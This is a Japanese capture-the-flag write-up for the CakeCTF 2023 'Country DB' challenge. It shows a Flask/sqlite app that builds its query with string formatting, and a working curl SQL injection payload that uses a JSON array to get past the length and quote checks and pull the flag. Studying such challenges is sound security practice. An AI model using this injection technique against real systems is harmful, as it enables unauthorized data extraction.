ctf upsolve by kodai Advent Calendar 2025(Day10)
ctf解く時間をあまり取れなったので今日は簡単な問題を扱いました。
取り扱った問題
CakeCTF 2023 Country DB
Author: ptr-yudai
upsolve
問題文
Do you know which country code 'CA' and 'KE' are for?
Search country codes here!
与えられたページではcountryCodeを入力すると、国名を表示させることができます。

サーバ側ではJSONのデータを受け取って、データベースからデータを取ってきています。
#!/usr/bin/env python3
import flask
import sqlite3
app = flask.Flask(__name__)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
return flask.render_template("index.html")
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
if __name__ == '__main__':
app.run(debug=True)
また、init_db.pyでは、countryテーブルとflagテーブルが作成されており、flagテーブルにflagが存在していることが分かります。
import sqlite3
import os
FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
code TEXT NOT NULL,
name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))
# Country list from https://gist.github.com/vxnick/380904
countries = [
('AF', 'Afghanistan'),
('AX', 'Aland Islands'),
('AL', 'Albania'),
# 省略
('ZM', 'Zambia'),
('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)
conn.commit()
conn.close()
今回の問題では検索する文字列が2文字ではない、もしくは'が含まれている場合、Invalid country codeが返されてしまうという制約があります。
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
これをどうにかして突破できないでしょうか?
そこで今回は配列を使ってペイロードを組みます。また、'の制約を突破するために、"を使ってSQL Injectionを行うことがあるのでこれを使ってみます。
しかし今回は、max2文字しか入力することができないので、curlコマンドでFLAG奪取を試みます。
<body>
<label for="code">Country code: </label>
<input id="code" type="text" maxlength="2" style="width: 2em;" required>
<button onclick="queryCountryCode()">Search</button>
<p id="result"></p>
</body>
以下がペイロードになります。
$ curl -X POST -H "Content-Type: application/json" -d '{"code": [") UNION ALL SELECT flag FROM flag --",""]}' http://34.170.146.252:24652/api/search
FLAG : CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}